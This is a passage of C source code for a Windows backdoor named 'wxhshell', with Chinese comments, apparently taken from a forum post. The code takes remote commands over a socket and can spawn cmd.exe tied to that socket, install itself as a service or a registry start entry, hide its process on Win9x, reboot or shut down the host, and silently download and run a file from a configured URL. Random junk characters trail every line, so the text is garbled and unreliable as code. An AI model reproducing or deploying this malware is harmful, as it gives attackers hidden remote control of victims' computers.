  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jze:[MYS  
  } B0]~el  
  else { .0]<k,JZZ  
Npy :!  
    switch(cmd[0]) { #O dJ"1A|  
   a!AA]  
  // 帮助 TbW38\>.R  
  case '?': { jtc]>]6i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NHZz _a=  
    break; 9mTJ|sN:e  
  } hZ  
  // 安装 ;MdlwQ$`  
  case 'i': { :G%61x&=Zc  
    if(Install()) SNI)9k(T{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03#lX(MB  
    else G*P#]eO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^3L0w}#  
    break; 7E~;xn;  
    } fS78>*K  
  // 卸载 wi6 ~}~%  
  case 'r': { uk<9&{  
    if(Uninstall()) )|=j`jCC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]-/VHh  
    else j HJ`,#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?+}_1x`  
    break; 'AS|ZRr/  
    } b2&0Hx  
  // 显示 wxhshell 所在路径 vnZC,J `  
  case 'p': { U|Ta4W`k\  
    char svExeFile[MAX_PATH]; I(BQ34q  
    strcpy(svExeFile,"\n\r"); YGC L2Y  
      strcat(svExeFile,ExeFile); GDiBl*D  
        send(wsh,svExeFile,strlen(svExeFile),0); p4 ^yVa  
    break; n]o<S+z  
    } %aVq+kC h  
  // 重启 x-&@wMqkc  
  case 'b': { |H+UOEiv,p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8NAON5.!  
    if(Boot(REBOOT)) PBTnIU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CN8Y\<Ar  
    else { P:MT*ra*,  
    closesocket(wsh); t=W}SH  
    ExitThread(0); mSl.mi(JiZ  
    } K^<BW(s  
    break; +}os&[S  
    } UhQj Qaa~  
  // 关机 UJ')I`zuI  
  case 'd': { A@{PZ   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PP33i@G  
    if(Boot(SHUTDOWN)) >V8-i`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )cMh0SGcM1  
    else { jLHkOk5{:  
    closesocket(wsh); Sk\K4  
    ExitThread(0); Ls+2Zbh  
    } Tqn@P  
    break; 5f K_Aq{  
    } nazZ*lC  
  // 获取shell Gm^U;u}=f  
  case 's': { EaY?aAuS:  
    CmdShell(wsh); kzUIZ/+ZL,  
    closesocket(wsh); ^'{Fh"5  
    ExitThread(0); fdi\hg^x  
    break; ,w:U#r~s"  
  } sLT3Y}IO  
  // 退出 !9VY|&fHe  
  case 'x': { -3Z,EaG^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1JG'%8}#8  
    CloseIt(wsh); L2i_X@/  
    break; ~YWQ2]  
    } wIaony  
  // 离开 ,G?WAOy,  
  case 'q': { lE(HFal0-(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /dI&o,sA  
    closesocket(wsh); (m(JK^  
    WSACleanup(); T;a}#56{^  
    exit(1); yg=q;Z>[~  
    break; ~[nSXnPO  
        } H;k~oIs k  
  } #rQ2gx4  
  } 2E)-M9ds  
,Np0wg0  
  // 提示信息 k|PN0&J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fW1CFRHH  
} :vQrOn18p  
  } :zke %Yx  
U@)eTHv}6  
  return; i^Y+?Sx  
} CXx*_@}MU  
A>;bHf@  
// shell模块句柄 '"/=f\)u  
int CmdShell(SOCKET sock) !6O(-S2A  
{ .glA gt  
STARTUPINFO si; ;) z:fToh  
ZeroMemory(&si,sizeof(si)); bSi%2Onj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VSI9U3t3w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q%f^)HZGR  
PROCESS_INFORMATION ProcessInfo; nuMD!qu!nZ  
char cmdline[]="cmd"; g63(E,;;J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XZ]uUP  
  return 0; vDhh>x(  
} B:S>wFE(.  
i0kak`x0  
// 自身启动模式 }t=!(GOb}  
int StartFromService(void) }9#r0Vja  
{ pis`$_kmwV  
typedef struct 1N#| }ad  
{ }Gm>`cw-  
  DWORD ExitStatus; S8wLmd>  
  DWORD PebBaseAddress; N&+x+;Kx  
  DWORD AffinityMask; $)ijN^hV  
  DWORD BasePriority; U175{N%3  
  ULONG UniqueProcessId; c&?m>2^6  
  ULONG InheritedFromUniqueProcessId; /}fHt^2H  
}   PROCESS_BASIC_INFORMATION; 8hz^%vm  
G kl71VX  
PROCNTQSIP NtQueryInformationProcess; %i9E @EV  
GxI!{oi2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U} e!Wjrc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /h H  
 Rn(ec  
  HANDLE             hProcess; s_OF(o  
  PROCESS_BASIC_INFORMATION pbi; ~IfJwBn-i  
n&;85IF1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ms5ap<q#  
  if(NULL == hInst ) return 0; HI R~"It$  
bz2ztH9 n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i$:*Pb3mV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;!mzyb*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L:pYn_  
d *|Y o  
  if (!NtQueryInformationProcess) return 0; L~rBAIdD  
vrhT<+q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JPc+rfF  
  if(!hProcess) return 0; $%CF8\0  
sV{,S>s   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rq/yD,I,  
r6MMCJ|G  
  CloseHandle(hProcess); 3G)#5 Lf<  
7u S~MW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?GoR^p #p  
if(hProcess==NULL) return 0; RXpw!  
rb2S7k0{  
HMODULE hMod; Jr ,;>   
char procName[255]; D3Ig>gKo?m  
unsigned long cbNeeded; "$Z= %.3Q  
J6s`'gFns  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qo90t{|c  
Ustv{:7v  
  CloseHandle(hProcess); <ro7vPKNa  
uk< 4+x,2)  
if(strstr(procName,"services")) return 1; // 以服务启动 hk(ZM#Bh  
<EB+1GFuI  
  return 0; // 注册表启动 B:;pvW]  
} i&Tbz!  
uGf@  
// 主模块 ( iBl   
int StartWxhshell(LPSTR lpCmdLine)  3s,g*  
{ 7a =gH2]&  
  SOCKET wsl; hYT0l$Ng  
BOOL val=TRUE; W#4 7h7M  
  int port=0; w;[NH/A^a  
  struct sockaddr_in door; _(W+S`7Z  
@Q ]=\N:  
  if(wscfg.ws_autoins) Install(); 7 S#J>*  
UqFO|r"M  
port=atoi(lpCmdLine); E:sf{B'&  
BOb">6C  
if(port<=0) port=wscfg.ws_port; JgKO|VO  
xjuN-  
  WSADATA data; ENl)Ts`y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JIEK*ui  
uB]7G0g:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $<dH?%!7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $Uq|w[LA  
  door.sin_family = AF_INET; :t"^6xt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^e2VE_8L  
  door.sin_port = htons(port); Xy|So|/bKd  
_wbF>z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n71r_S*  
closesocket(wsl); gq4Tb c oA  
return 1; ?K$(817  
} oo/qb`-6  
NR 5gj-B[  
  if(listen(wsl,2) == INVALID_SOCKET) { =1FRFZI!j  
closesocket(wsl); o lR?n(v  
return 1; q 6:dy  
} :}L[sl\R  
  Wxhshell(wsl); U8s2|G;K  
  WSACleanup(); !=*g@mgF  
T] f ;km  
return 0; Ex Y]Sdx  
9N#_( uwt  
} 0rQMLx  
E<{ R.r  
// 以NT服务方式启动 <.x{|p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I*:%ni2  
{ !1jBC.G1  
DWORD   status = 0; Go`vfm"S  
  DWORD   specificError = 0xfffffff; e8>})  
:)-Sk$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1E[J%Rh\ l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,uSMQS-O'4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oA7tE u   
  serviceStatus.dwWin32ExitCode     = 0; n$MO4s8)  
  serviceStatus.dwServiceSpecificExitCode = 0; O40?{v'  
  serviceStatus.dwCheckPoint       = 0; lK?uXr7^  
  serviceStatus.dwWaitHint       = 0; LiC*@W  
4M=]wR;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rT=rrvV3g  
  if (hServiceStatusHandle==0) return; ?qv !w~m<  
OZb-:!m*  
status = GetLastError(); a5dLQx b  
  if (status!=NO_ERROR) %+aCJu[k(z  
{ (+w*[qHe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h"[AOfTE$  
    serviceStatus.dwCheckPoint       = 0; MD}w Y><C  
    serviceStatus.dwWaitHint       = 0; f&N gS+<K$  
    serviceStatus.dwWin32ExitCode     = status; -V*R\,>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,Q3T Tno ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9a[9i}_  
    return; m<<+  
  } a{L%7  
fbyd"(V 8r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2 ~dE<}  
  serviceStatus.dwCheckPoint       = 0; a kkNI3  
  serviceStatus.dwWaitHint       = 0; 8 `v-<J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /7(W?xOe  
} paA(C|%{  
AwCcK6N1  
// 处理NT服务事件,比如:启动、停止 6iry6wcHm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HDz5&7* .  
{ f$o_e90mu  
switch(fdwControl) vz@A;t  
{ {UX!go^J  
case SERVICE_CONTROL_STOP: Fx]WCQo  
  serviceStatus.dwWin32ExitCode = 0; #>a\>iKQ2q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J@/kIrx  
  serviceStatus.dwCheckPoint   = 0; [7:,?$tC  
  serviceStatus.dwWaitHint     = 0; CQc+#nRe  
  { Ij7p' a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rP'me2 B  
  } 0.Q Ujw  
  return; %HhBt5w  
case SERVICE_CONTROL_PAUSE: 2,y|EpG#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'NbHa!  
  break; G~]Uk*M q  
case SERVICE_CONTROL_CONTINUE: :;v~%e{k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K6)Gc%:`  
  break; v1#otrf  
case SERVICE_CONTROL_INTERROGATE: ,X?{07gH  
  break; IY1 //9  
}; 8$] 1M,$r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j}#w )M  
} [DYQ"A= )d  
]E{NNHK%2N  
// 标准应用程序主函数 _kC-dEGf!y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i9:C4',sw0  
{ !K#qeY}  
a)!o @  
// 获取操作系统版本 b35fs]}u-6  
OsIsNt=GetOsVer(); xEa\f[.An  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i:dR\|B  
f'F?MINJP  
  // 从命令行安装 Q*GN`07@?d  
  if(strpbrk(lpCmdLine,"iI")) Install(); nF}vw |r>x  
%J}xg^+f  
  // 下载执行文件 *j|~$e}C  
if(wscfg.ws_downexe) { 3h]g}&k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mupT<_Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~EW(Gs!=C  
} t"sBPLU\  
a6 ekG YW  
if(!OsIsNt) { }czrj%6  
// 如果时win9x,隐藏进程并且设置为注册表启动 l&[O  
HideProc();  X hR4ru`  
StartWxhshell(lpCmdLine); q#~ (/  
} xnjf  
else ]|#+zx|/D  
  if(StartFromService()) "BAK !N$9  
  // 以服务方式启动 g9OY<w5s]  
  StartServiceCtrlDispatcher(DispatchTable); BqEI(c 6  
else r[e##M  
  // 普通方式启动 (xycJ`N  
  StartWxhshell(lpCmdLine); ?C]vS_jAh  
6dHOf,zjm  
return 0; z,RhYm  
}
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只看该作者 1 发表于: 2006-10-10
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